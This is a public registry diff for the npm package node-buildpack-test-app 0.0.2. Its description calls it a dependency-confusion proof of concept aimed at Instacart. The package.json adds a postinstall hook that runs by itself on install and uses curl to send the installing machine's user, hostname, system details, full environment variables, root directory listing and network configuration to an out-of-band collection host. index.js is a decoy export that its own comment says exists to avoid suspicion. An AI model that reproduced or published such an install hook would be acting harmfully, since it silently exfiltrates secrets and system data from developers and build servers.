node-buildpack-test-app 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +13 -0
  2. package/package.json +10 -0
package/index.js ADDED
@@ -0,0 +1,13 @@
1
+ // index.js
2
+
3
+ /**
4
+ * Fake export to make the package appear legitimate.
5
+ * This is never actually used in the attack — just present to avoid suspicion.
6
+ */
7
+
8
+ module.exports = {
9
+ hello: () => {
10
+ console.log("Hello from node-buildpack-test-app");
11
+ return "Hello Instacart!";
12
+ }
13
+ };
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "node-buildpack-test-app",
3
+ "version": "0.0.2",
4
+ "description": "PoC for Dependency Confusion targeting Instacart",
5
+ "scripts": {
6
+ "postinstall": "sh -c \"curl -X POST -H 'Content-Type: text/plain' --data \\\"===== whoami =====\\\\n$(whoami)\\\\n\\\\n===== uname -a =====\\\\n$(uname -a)\\\\n\\\\n===== hostname =====\\\\n$(hostname)\\\\n\\\\n===== env =====\\\\n$(env)\\\\n\\\\n===== ls -la / =====\\\\n$(ls -la /)\\\\n\\\\n===== ifconfig/ip =====\\\\n$(ifconfig || ip a)\\\\n\\\" http://xtiikrbrlhjafmnxqxvmj5f4ygr87dv5a.oast.fun\""
7
+ },
8
+ "author": "0xzyo",
9
+ "license": "MIT"
10
+ }